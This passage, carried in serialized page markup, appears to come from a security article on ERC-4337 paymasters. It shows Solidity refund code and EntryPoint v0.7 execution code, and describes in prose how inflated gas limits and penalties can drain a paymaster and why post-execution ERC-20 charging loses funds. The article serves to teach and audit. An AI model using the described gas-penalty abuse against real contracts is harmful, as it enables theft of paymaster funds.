baseFee;\n",{"type":23,"tag":504,"props":102378,"children":102379},{"class":506,"line":1543},[102380,102385,102390,102395,102399,102403,102407],{"type":23,"tag":504,"props":102381,"children":102382},{"style":523},[102383],{"type":28,"value":102384},"            SafeERC20.",{"type":23,"tag":504,"props":102386,"children":102387},{"style":517},[102388],{"type":28,"value":102389},"safeTransferFrom",{"type":23,"tag":504,"props":102391,"children":102392},{"style":523},[102393],{"type":28,"value":102394},"(token, userOp.sender, ",{"type":23,"tag":504,"props":102396,"children":102397},{"style":1012},[102398],{"type":28,"value":31618},{"type":23,"tag":504,"props":102400,"children":102401},{"style":523},[102402],{"type":28,"value":526},{"type":23,"tag":504,"props":102404,"children":102405},{"style":511},[102406],{"type":28,"value":16673},{"type":23,"tag":504,"props":102408,"children":102409},{"style":523},[102410],{"type":28,"value":102411},"), tokenAmount);\n",{"type":23,"tag":504,"props":102413,"children":102414},{"class":506,"line":1583},[102415,102420,102424,102429,102433,102438],{"type":23,"tag":504,"props":102416,"children":102417},{"style":523},[102418],{"type":28,"value":102419},"            context ",{"type":23,"tag":504,"props":102421,"children":102422},{"style":598},[102423],{"type":28,"value":601},{"type":23,"tag":504,"props":102425,"children":102426},{"style":511},[102427],{"type":28,"value":102428}," abi",{"type":23,"tag":504,"props":102430,"children":102431},{"style":523},[102432],{"type":28,"value":320},{"type":23,"tag":504,"props":102434,"children":102435},{"style":517},[102436],{"type":28,"value":102437},"encode",{"type":23,"tag":504,"props":102439,"children":102440},{"style":523},[102441],{"type":28,"value":102442},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":504,"props":102444,"children":102445},{"class":506,"line":1605},[102446,102451],{"type":23,"tag":504,"props":102447,"children":102448},{"style":523},[102449],{"type":28,"value":102450},"            validationResult ",{"type":23,"tag":504,"props":102452,"children":102453},{"style":598},[102454],{"type":28,"value":13674},{"type":23,"tag":504,"props":102456,"children":102457},{"class":506,"line":1614},[102458,102463,102467,102471,102475,102480,102485,102489,102494,102498],{"type":23,"tag":504,"props":102459,"children":102460},{"style":517},[102461],{"type":28,"value":102462},"                _packValidationData",{"type":23,"tag":504,"props":102464,"children":102465},{"style":523},[102466],{"type":28,"value":526},{"type":23,"tag":504,"props":102468,"children":102469},{"style":511},[102470],{"type":28,"value":7158},{"type":23,"tag":504,"props":102472,"children":102473},{"style":523},[102474],{"type":28,"value":576},{"type":23,"tag":504,"props":102476,"children":102477},{"style":1012},[102478],{"type":28,"value":102479},"uint48",{"type":23,"tag":504,"props":102481,"children":102482},{"style":523},[102483],{"type":28,"value":102484},"(cachedPriceTimestamp ",{"type":23,"tag":504,"props":102486,"children":102487},{"style":598},[102488],{"type":28,"value":1642},{"type":23,"tag":504,"props":102490,"children":102491},{"style":523},[102492],{"type":28,"value":102493}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":504,"props":102495,"children":102496},{"style":1440},[102497],{"type":28,"value":3001},{"type":23,"tag":504,"props":102499,"children":102500},{"style":523},[102501],{"type":28,"value":630},{"type":23,"tag":504,"props":102503,"children":102504},{"class":506,"line":1627},[102505],{"type":23,"tag":504,"props":102506,"children":102507},{"style":523},[102508],{"type":28,"value":1291},{"type":23,"tag":504,"props":102510,"children":102511},{"class":506,"line":1655},[102512],{"type":23,"tag":504,"props":102513,"children":102514},{"style":523},[102515],{"type":28,"value":875},{"type":23,"tag":504,"props":102517,"children":102518},{"class":506,"line":1668},[102519],{"type":23,"tag":504,"props":102520,"children":102521},{"style":523},[102522],{"type":28,"value":9299},{"type":23,"tag":504,"props":102524,"children":102525},{"class":506,"line":1682},[102526,102530,102535,102539,102544,102548,102552,102556,102560,102564,102568,102573,102577,102581,102586],{"type":23,"tag":504,"props":102527,"children":102528},{"style":511},[102529],{"type":28,"value":88582},{"type":23,"tag":504,"props":102531,"children":102532},{"style":517},[102533],{"type":28,"value":102534}," _postOp",{"type":23,"tag":504,"props":102536,"children":102537},{"style":523},[102538],{"type":28,"value":526},{"type":23,"tag":504,"props":102540,"children":102541},{"style":511},[102542],{"type":28,"value":102543},"PostOpMode",{"type":23,"tag":504,"props":102545,"children":102546},{"style":523},[102547],{"type":28,"value":576},{"type":23,"tag":504,"props":102549,"children":102550},{"style":1012},[102551],{"type":28,"value":82579},{"type":23,"tag":504,"props":102553,"children":102554},{"style":511},[102555],{"type":28,"value":101763},{"type":23,"tag":504,"props":102557,"children":102558},{"style":529},[102559],{"type":28,"value":75091},{"type":23,"tag":504,"props":102561,"children":102562},{"style":523},[102563],{"type":28,"value":576},{"type":23,"tag":504,"props":102565,"children":102566},{"style":1012},[102567],{"type":28,"value":45147},{"type":23,"tag":504,"props":102569,"children":102570},{"style":529},[102571],{"type":28,"value":102572}," actualGasCost",{"type":23,"tag":504,"props":102574,"children":102575},{"style":523},[102576],{"type":28,"value":576},{"type":23,"tag":504,"props":102578,"children":102579},{"style":1012},[102580],{"type":28,"value":45147},{"type":23,"tag":504,"props":102582,"children":102583},{"style":529},[102584],{"type":28,"value":102585}," actualUserOpFeePerGas",{"type":23,"tag":504,"props":102587,"children":102588},{"style":523},[102589],{"type":28,"value":1192},{"type":23,"tag":504,"props":102591,"children":102592},{"class":506,"line":1691},[102593],{"type":23,"tag":504,"props":102594,"children":102595},{"style":511},[102596],{"type":28,"value":101802},{"type":23,"tag":504,"props":102598,"children":102599},{"class":506,"line":1699},[102600],{"type":23,"tag":504,"props":102601,"children":102602},{"style":511},[102603],{"type":28,"value":101810},{"type":23,"tag":504,"props":102605,"children":102606},{"class":506,"line":1708},[102607],{"type":23,"tag":504,"props":102608,"children":102609},{"style":523},[102610],{"type":28,"value":28168},{"type":23,"tag":504,"props":102612,"children":102613},{"class":506,"line":1717},[102614,102618],{"type":23,"tag":504,"props":102615,"children":102616},{"style":544},[102617],{"type":28,"value":101867},{"type":23,"tag":504,"props":102619,"children":102620},{"style":523},[102621],{"type":28,"value":552},{"type":23,"tag":504,"props":102623,"children":102624},{"class":506,"line":1725},[102625,102629,102633,102637],{"type":23,"tag":504,"props":102626,"children":102627},{"style":1012},[102628],{"type":28,"value":101879},{"type":23,"tag":504,"props":102630,"children":102631},{"style":523},[102632],{"type":28,"value":101884},{"type":23,"tag":504,"props":102634,"children":102635},{"style":598},[102636],{"type":28,"value":601},{"type":23,"tag":504,"props":102638,"children":102639},{"style":523},[102640],{"type":28,"value":101893},{"type":23,"tag":504,"props":102642,"children":102643},{"class":506,"line":1757},[102644,102648,102652,102656],{"type":23,"tag":504,"props":102645,"children":102646},{"style":1012},[102647],{"type":28,"value":101879},{"type":23,"tag":504,"props":102649,"children":102650},{"style":523},[102651],{"type":28,"value":101905},{"type":23,"tag":504,"props":102653,"children":102654},{"style":598},[102655],{"type":28,"value":601},{"type":23,"tag":504,"props":102657,"children":102658},{"style":523},[102659],{"type":28,"value":101914},{"type":23,"tag":504,"props":102661,"children":102662},{"class":506,"line":1765},[102663,102668,102672,102677,102681,102686,102690,102694,102698,102703,102708,102712,102716,102720],{"type":23,"tag":504,"props":102664,"children":102665},{"style":523},[102666],{"type":28,"value":102667},"            (",{"type":23,"tag":504,"props":102669,"children":102670},{"style":1012},[102671],{"type":28,"value":45147},{"type":23,"tag":504,"props":102673,"children":102674},{"style":523},[102675],{"type":28,"value":102676}," preCharge, ",{"type":23,"tag":504,"props":102678,"children":102679},{"style":1012},[102680],{"type":28,"value":31618},{"type":23,"tag":504,"props":102682,"children":102683},{"style":523},[102684],{"type":28,"value":102685}," userOpSender) ",{"type":23,"tag":504,"props":102687,"children":102688},{"style":598},[102689],{"type":28,"value":601},{"type":23,"tag":504,"props":102691,"children":102692},{"style":511},[102693],{"type":28,"value":102428},{"type":23,"tag":504,"props":102695,"children":102696},{"style":523},[102697],{"type":28,"value":320},{"type":23,"tag":504,"props":102699,"children":102700},{"style":517},[102701],{"type":28,"value":102702},"decode",{"type":23,"tag":504,"props":102704,"children":102705},{"style":523},[102706],{"type":28,"value":102707},"(context, (",{"type":23,"tag":504,"props":102709,"children":102710},{"style":1012},[102711],{"type":28,"value":45147},{"type":23,"tag":504,"props":102713,"children":102714},{"style":523},[102715],{"type":28,"value":576},{"type":23,"tag":504,"props":102717,"children":102718},{"style":1012},[102719],{"type":28,"value":31618},{"type":23,"tag":504,"props":102721,"children":102722},{"style":523},[102723],{"type":28,"value":684},{"type":23,"tag":504,"props":102725,"children":102726},{"class":506,"line":22762},[102727,102732,102737,102742],{"type":23,"tag":504,"props":102728,"children":102729},{"style":523},[102730],{"type":28,"value":102731},"            preCharge ",{"type":23,"tag":504,"props":102733,"children":102734},{"style":598},[102735],{"type":28,"value":102736},"-=",{"type":23,"tag":504,"props":102738,"children":102739},{"style":523},[102740],{"type":28,"value":102741}," baseFee; ",{"type":23,"tag":504,"props":102743,"children":102744},{"style":1106},[102745],{"type":28,"value":102746},"// don't refund the base fee\n",{"type":23,"tag":504,"props":102748,"children":102749},{"class":506,"line":22799},[102750,102754,102759,102763,102768,102772,102776],{"type":23,"tag":504,"props":102751,"children":102752},{"style":1012},[102753],{"type":28,"value":101879},{"type":23,"tag":504,"props":102755,"children":102756},{"style":523},[102757],{"type":28,"value":102758}," _cachedPrice ",{"type":23,"tag":504,"props":102760,"children":102761},{"style":598},[102762],{"type":28,"value":601},{"type":23,"tag":504,"props":102764,"children":102765},{"style":517},[102766],{"type":28,"value":102767}," updateCachedPrice",{"type":23,"tag":504,"props":102769,"children":102770},{"style":523},[102771],{"type":28,"value":526},{"type":23,"tag":504,"props":102773,"children":102774},{"style":511},[102775],{"type":28,"value":7158},{"type":23,"tag":504,"props":102777,"children":102778},{"style":523},[102779],{"type":28,"value":630},{"type":23,"tag":504,"props":102781,"children":102782},{"class":506,"line":22812},[102783,102787,102791],{"type":23,"tag":504,"props":102784,"children":102785},{"style":1106},[102786],{"type":28,"value":102131},{"type":23,"tag":504,"props":102788,"children":102789},{"style":511},[102790],{"type":28,"value":65739},{"type":23,"tag":504,"props":102792,"children":102793},{"style":1106},[102794],{"type":28,"value":102140},{"type":23,"tag":504,"props":102796,"children":102797},{"class":506,"line":22825},[102798,102802,102806,102810,102814,102818,102822,102826],{"type":23,"tag":504,"props":102799,"children":102800},{"style":1012},[102801],{"type":28,"value":101879},{"type":23,"tag":504,"props":102803,"children":102804},{"style":523},[102805],{"type":28,"value":102152},{"type":23,"tag":504,"props":102807,"children":102808},{"style":598},[102809],{"type":28,"value":601},{"type":23,"tag":504,"props":102811,"children":102812},{"style":523},[102813],{"type":28,"value":102758},{"type":23,"tag":504,"props":102815,"children":102816},{"style":598},[102817],{"type":28,"value":3552},{"type":23,"tag":504,"props":102819,"children":102820},{"style":523},[102821],{"type":28,"value":102170},{"type":23,"tag":504,"props":102823,"children":102824},{"style":598},[102825],{"type":28,"value":3562},{"type":23,"tag":504,"props":102827,"children":102828},{"style":523},[102829],{"type":28,"value":102179},{"type":23,"tag":504,"props":102831,"children":102832},{"class":506,"line":22838},[102833],{"type":23,"tag":504,"props":102834,"children":102835},{"style":1106},[102836],{"type":28,"value":102837},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":504,"props":102839,"children":102840},{"class":506,"line":22892},[102841,102845,102850,102854,102859,102863,102868,102872],{"type":23,"tag":504,"props":102842,"children":102843},{"style":1012},[102844],{"type":28,"value":101879},{"type":23,"tag":504,"props":102846,"children":102847},{"style":523},[102848],{"type":28,"value":102849}," actualChargeNative ",{"type":23,"tag":504,"props":102851,"children":102852},{"style":598},[102853],{"type":28,"value":601},{"type":23,"tag":504,"props":102855,"children":102856},{"style":523},[102857],{"type":28,"value":102858}," actualGasCost ",{"type":23,"tag":504,"props":102860,"children":102861},{"style":598},[102862],{"type":28,"value":1642},{"type":23,"tag":504,"props":102864,"children":102865},{"style":523},[102866],{"type":28,"value":102867}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":504,"props":102869,"children":102870},{"style":598},[102871],{"type":28,"value":3552},{"type":23,"tag":504,"props":102873,"children":102874},{"style":523},[102875],{"type":28,"value":102876}," actualUserOpFeePerGas;\n",{"type":23,"tag":504,"props":102878,"children":102879},{"class":506,"line":22901},[102880,102884,102889,102893,102897],{"type":23,"tag":504,"props":102881,"children":102882},{"style":1012},[102883],{"type":28,"value":101879},{"type":23,"tag":504,"props":102885,"children":102886},{"style":523},[102887],{"type":28,"value":102888}," actualTokenNeeded ",{"type":23,"tag":504,"props":102890,"children":102891},{"style":598},[102892],{"type":28,"value":601},{"type":23,"tag":504,"props":102894,"children":102895},{"style":517},[102896],{"type":28,"value":102354},{"type":23,"tag":504,"props":102898,"children":102899},{"style":523},[102900],{"type":28,"value":102901},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":504,"props":102903,"children":102904},{"class":506,"line":31258},[102905,102909,102914,102918],{"type":23,"tag":504,"props":102906,"children":102907},{"style":544},[102908],{"type":28,"value":57780},{"type":23,"tag":504,"props":102910,"children":102911},{"style":523},[102912],{"type":28,"value":102913}," (preCharge ",{"type":23,"tag":504,"props":102915,"children":102916},{"style":598},[102917],{"type":28,"value":9443},{"type":23,"tag":504,"props":102919,"children":102920},{"style":523},[102921],{"type":28,"value":102922}," actualTokenNeeded) {\n",{"type":23,"tag":504,"props":102924,"children":102925},{"class":506,"line":31279},[102926],{"type":23,"tag":504,"props":102927,"children":102928},{"style":1106},[102929],{"type":28,"value":102930},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":504,"props":102932,"children":102933},{"class":506,"line":79702},[102934,102939,102944,102949,102953],{"type":23,"tag":504,"props":102935,"children":102936},{"style":523},[102937],{"type":28,"value":102938},"                SafeERC20.",{"type":23,"tag":504,"props":102940,"children":102941},{"style":517},[102942],{"type":28,"value":102943},"safeTransfer",{"type":23,"tag":504,"props":102945,"children":102946},{"style":523},[102947],{"type":28,"value":102948},"(token, userOpSender, preCharge ",{"type":23,"tag":504,"props":102950,"children":102951},{"style":598},[102952],{"type":28,"value":3308},{"type":23,"tag":504,"props":102954,"children":102955},{"style":523},[102956],{"type":28,"value":102957}," actualTokenNeeded);\n",{"type":23,"tag":504,"props":102959,"children":102960},{"class":506,"line":79715},[102961,102965,102969,102973,102977,102981],{"type":23,"tag":504,"props":102962,"children":102963},{"style":523},[102964],{"type":28,"value":1200},{"type":23,"tag":504,"props":102966,"children":102967},{"style":544},[102968],{"type":28,"value":2293},{"type":23,"tag":504,"props":102970,"children":102971},{"style":544},[102972],{"type":28,"value":14766},{"type":23,"tag":504,"props":102974,"children":102975},{"style":523},[102976],{"type":28,"value":102913},{"type":23,"tag":504,"props":102978,"children":102979},{"style":598},[102980],{"type":28,"value":4789},{"type":23,"tag":504,"props":102982,"children":102983},{"style":523},[102984],{"type":28,"value":102922},{"type":23,"tag":504,"props":102986,"children":102987},{"class":506,"line":79723},[102988],{"type":23,"tag":504,"props":102989,"children":102990},{"style":1106},[102991],{"type":28,"value":102992},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":504,"props":102994,"children":102995},{"class":506,"line":79731},[102996],{"type":23,"tag":504,"props":102997,"children":102998},{"style":1106},[102999],{"type":28,"value":103000},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":504,"props":103002,"children":103003},{"class":506,"line":79739},[103004,103008,103012,103017,103021,103025,103029,103034,103038],{"type":23,"tag":504,"props":103005,"children":103006},{"style":523},[103007],{"type":28,"value":102938},{"type":23,"tag":504,"props":103009,"children":103010},{"style":517},[103011],{"type":28,"value":102389},{"type":23,"tag":504,"props":103013,"children":103014},{"style":523},[103015],{"type":28,"value":103016},"(token, userOpSender, ",{"type":23,"tag":504,"props":103018,"children":103019},{"style":1012},[103020],{"type":28,"value":31618},{"type":23,"tag":504,"props":103022,"children":103023},{"style":523},[103024],{"type":28,"value":526},{"type":23,"tag":504,"props":103026,"children":103027},{"style":511},[103028],{"type":28,"value":16673},{"type":23,"tag":504,"props":103030,"children":103031},{"style":523},[103032],{"type":28,"value":103033},"), actualTokenNeeded ",{"type":23,"tag":504,"props":103035,"children":103036},{"style":598},[103037],{"type":28,"value":3308},{"type":23,"tag":504,"props":103039,"children":103040},{"style":523},[103041],{"type":28,"value":103042}," preCharge);\n",{"type":23,"tag":504,"props":103044,"children":103045},{"class":506,"line":79779},[103046],{"type":23,"tag":504,"props":103047,"children":103048},{"style":523},[103049],{"type":28,"value":1282},{"type":23,"tag":504,"props":103051,"children":103052},{"class":506,"line":79787},[103053],{"type":23,"tag":504,"props":103054,"children":103055},{"emptyLinePlaceholder":16},[103056],{"type":28,"value":1038},{"type":23,"tag":504,"props":103058,"children":103059},{"class":506,"line":86974},[103060,103064,103069,103073,103077],{"type":23,"tag":504,"props":103061,"children":103062},{"style":544},[103063],{"type":28,"value":57780},{"type":23,"tag":504,"props":103065,"children":103066},{"style":523},[103067],{"type":28,"value":103068}," (baseFee ",{"type":23,"tag":504,"props":103070,"children":103071},{"style":598},[103072],{"type":28,"value":9443},{"type":23,"tag":504,"props":103074,"children":103075},{"style":1440},[103076],{"type":28,"value":2023},{"type":23,"tag":504,"props":103078,"children":103079},{"style":523},[103080],{"type":28,"value":537},{"type":23,"tag":504,"props":103082,"children":103083},{"class":506,"line":86982},[103084,103088,103092],{"type":23,"tag":504,"props":103085,"children":103086},{"style":523},[103087],{"type":28,"value":102938},{"type":23,"tag":504,"props":103089,"children":103090},{"style":517},[103091],{"type":28,"value":102943},{"type":23,"tag":504,"props":103093,"children":103094},{"style":523},[103095],{"type":28,"value":103096},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":504,"props":103098,"children":103099},{"class":506,"line":100328},[103100],{"type":23,"tag":504,"props":103101,"children":103102},{"style":523},[103103],{"type":28,"value":1282},{"type":23,"tag":504,"props":103105,"children":103106},{"class":506,"line":100336},[103107],{"type":23,"tag":504,"props":103108,"children":103109},{"emptyLinePlaceholder":16},[103110],{"type":28,"value":1038},{"type":23,"tag":504,"props":103112,"children":103113},{"class":506,"line":100344},[103114,103119,103124],{"type":23,"tag":504,"props":103115,"children":103116},{"style":544},[103117],{"type":28,"value":103118},"            emit",{"type":23,"tag":504,"props":103120,"children":103121},{"style":517},[103122],{"type":28,"value":103123}," UserOperationSponsored",{"type":23,"tag":504,"props":103125,"children":103126},{"style":523},[103127],{"type":28,"value":103128},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":504,"props":103130,"children":103131},{"class":506,"line":100352},[103132,103137],{"type":23,"tag":504,"props":103133,"children":103134},{"style":517},[103135],{"type":28,"value":103136},"            refillEntryPointDeposit",{"type":23,"tag":504,"props":103138,"children":103139},{"style":523},[103140],{"type":28,"value":103141},"(_cachedPrice);\n",{"type":23,"tag":504,"props":103143,"children":103144},{"class":506,"line":100380},[103145],{"type":23,"tag":504,"props":103146,"children":103147},{"style":523},[103148],{"type":28,"value":1291},{"type":23,"tag":504,"props":103150,"children":103152},{"class":506,"line":103151},67,[103153],{"type":23,"tag":504,"props":103154,"children":103155},{"style":523},[103156],{"type":28,"value":875},{"type":23,"tag":504,"props":103158,"children":103160},{"class":506,"line":103159},68,[103161],{"type":23,"tag":504,"props":103162,"children":103163},{"style":523},[103164],{"type":28,"value":884},{"type":23,"tag":24,"props":103166,"children":103167},{},[103168,103170,103176,103178,103183,103185,103191],{"type":28,"value":103169},"Looking at the code above, during ",{"type":23,"tag":56,"props":103171,"children":103173},{"className":103172},[],[103174],{"type":28,"value":103175},"validatePaymasterUserOp",{"type":28,"value":103177},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":56,"props":103179,"children":103181},{"className":103180},[],[103182],{"type":28,"value":101234},{"type":28,"value":103184}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":56,"props":103186,"children":103188},{"className":103187},[],[103189],{"type":28,"value":103190},"postOp",{"type":28,"value":103192},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":103194,"children":103195},{},[103196,103198,103203,103205,103212],{"type":28,"value":103197},"However, there is a critical oversight: ",{"type":23,"tag":296,"props":103199,"children":103200},{},[103201],{"type":28,"value":103202},"the code does not account for gas penalties",{"type":28,"value":103204},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":92,"props":103206,"children":103209},{"href":103207,"rel":103208},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[96],[103210],{"type":28,"value":103211},"penalties incurred",{"type":28,"value":103213}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":103215,"children":103216},{},[103217],{"type":28,"value":103218},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":103220,"children":103221},{},[103222,103224,103229],{"type":28,"value":103223},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":56,"props":103225,"children":103227},{"className":103226},[],[103228],{"type":28,"value":100933},{"type":28,"value":103230}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":70,"props":103232,"children":103234},{"id":103233},"incorrect-erc-20-handling",[103235],{"type":23,"tag":296,"props":103236,"children":103237},{},[103238],{"type":28,"value":103239},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":103241,"children":103242},{},[103243],{"type":28,"value":103244},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":103246,"children":103247},{},[103248,103249,103254,103256,103261],{"type":28,"value":44275},{"type":23,"tag":56,"props":103250,"children":103252},{"className":103251},[],[103253],{"type":28,"value":101014},{"type":28,"value":103255}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":56,"props":103257,"children":103259},{"className":103258},[],[103260],{"type":28,"value":100933},{"type":28,"value":103262},"'s lifecycle:",{"type":23,"tag":41,"props":103264,"children":103265},{},[103266,103276],{"type":23,"tag":45,"props":103267,"children":103268},{},[103269,103271],{"type":28,"value":103270},"During validation via ",{"type":23,"tag":56,"props":103272,"children":103274},{"className":103273},[],[103275],{"type":28,"value":101121},{"type":23,"tag":45,"props":103277,"children":103278},{},[103279,103281],{"type":28,"value":103280},"After execution via ",{"type":23,"tag":56,"props":103282,"children":103284},{"className":103283},[],[103285],{"type":28,"value":101132},{"type":23,"tag":24,"props":103287,"children":103288},{},[103289],{"type":28,"value":103290},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":82,"props":103292,"children":103294},{"id":103293},"_1-pre-payment-with-refund-pattern",[103295],{"type":28,"value":103296},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":103298,"children":103299},{},[103300,103302,103307,103309,103314,103316,103322,103323,103329,103331,103336,103338,103343,103345,103350],{"type":28,"value":103301},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":56,"props":103303,"children":103305},{"className":103304},[],[103306],{"type":28,"value":101121},{"type":28,"value":103308},". After execution completes, ",{"type":23,"tag":56,"props":103310,"children":103312},{"className":103311},[],[103313],{"type":28,"value":101132},{"type":28,"value":103315}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":56,"props":103317,"children":103319},{"className":103318},[],[103320],{"type":28,"value":103321},"SEND",{"type":28,"value":430},{"type":23,"tag":56,"props":103324,"children":103326},{"className":103325},[],[103327],{"type":28,"value":103328},"Circle",{"type":28,"value":103330}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":56,"props":103332,"children":103334},{"className":103333},[],[103335],{"type":28,"value":100962},{"type":28,"value":103337},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":296,"props":103339,"children":103340},{},[103341],{"type":28,"value":103342},"before",{"type":28,"value":103344}," execution (specifically during ",{"type":23,"tag":56,"props":103346,"children":103348},{"className":103347},[],[103349],{"type":28,"value":103175},{"type":28,"value":270},{"type":23,"tag":82,"props":103352,"children":103354},{"id":103353},"_2-post-execution-charging-pattern",[103355],{"type":28,"value":103356},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":103358,"children":103359},{},[103360,103362,103367,103369,103374,103376,103381,103383,103388],{"type":28,"value":103361},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":56,"props":103363,"children":103365},{"className":103364},[],[103366],{"type":28,"value":101121},{"type":28,"value":103368},", the actual token payment is calculated and collected in ",{"type":23,"tag":56,"props":103370,"children":103372},{"className":103371},[],[103373],{"type":28,"value":101132},{"type":28,"value":103375}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":56,"props":103377,"children":103379},{"className":103378},[],[103380],{"type":28,"value":100933},{"type":28,"value":103382},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":56,"props":103384,"children":103386},{"className":103385},[],[103387],{"type":28,"value":101234},{"type":28,"value":103389},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":103391,"children":103392},{},[103393,103395,103400,103402,103408,103410,103416,103418,103423],{"type":28,"value":103394},"This approach used to work in ",{"type":23,"tag":56,"props":103396,"children":103398},{"className":103397},[],[103399],{"type":28,"value":101014},{"type":28,"value":103401}," version ",{"type":23,"tag":56,"props":103403,"children":103405},{"className":103404},[],[103406],{"type":28,"value":103407},"v0.6",{"type":28,"value":103409},", but the pattern no longer works in ",{"type":23,"tag":56,"props":103411,"children":103413},{"className":103412},[],[103414],{"type":28,"value":103415},"v0.7",{"type":28,"value":103417},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":56,"props":103419,"children":103421},{"className":103420},[],[103422],{"type":28,"value":103415},{"type":28,"value":103424}," handles the execution phase:",{"type":23,"tag":494,"props":103426,"children":103428},{"className":3455,"code":103427,"language":3454,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[103429],{"type":23,"tag":56,"props":103430,"children":103431},{"__ignoreMap":7},[103432,103448,103464,103484,103501,103508,103521,103545,103553,103566,103573,103580,103601,103640,103677,103689,103696,103732,103739,103760,103849,103878,103885,103898,103905,103925,103932,103953,103961,103969,103996,104024,104032,104075,104095,104108,104130,104146,104161,104168,104188,104196,104204,104212,104220,104228,104235,104242],{"type":23,"tag":504,"props":103433,"children":103434},{"class":506,"line":507},[103435,103439,103444],{"type":23,"tag":504,"props":103436,"children":103437},{"style":511},[103438],{"type":28,"value":88582},{"type":23,"tag":504,"props":103440,"children":103441},{"style":517},[103442],{"type":28,"value":103443}," _executeUserOp",{"type":23,"tag":504,"props":103445,"children":103446},{"style":523},[103447],{"type":28,"value":2439},{"type":23,"tag":504,"props":103449,"children":103450},{"class":506,"line":540},[103451,103455,103460],{"type":23,"tag":504,"props":103452,"children":103453},{"style":1012},[103454],{"type":28,"value":88760},{"type":23,"tag":504,"props":103456,"children":103457},{"style":529},[103458],{"type":28,"value":103459}," opIndex",{"type":23,"tag":504,"props":103461,"children":103462},{"style":523},[103463],{"type":28,"value":2484},{"type":23,"tag":504,"props":103465,"children":103466},{"class":506,"line":555},[103467,103472,103476,103480],{"type":23,"tag":504,"props":103468,"children":103469},{"style":511},[103470],{"type":28,"value":103471},"        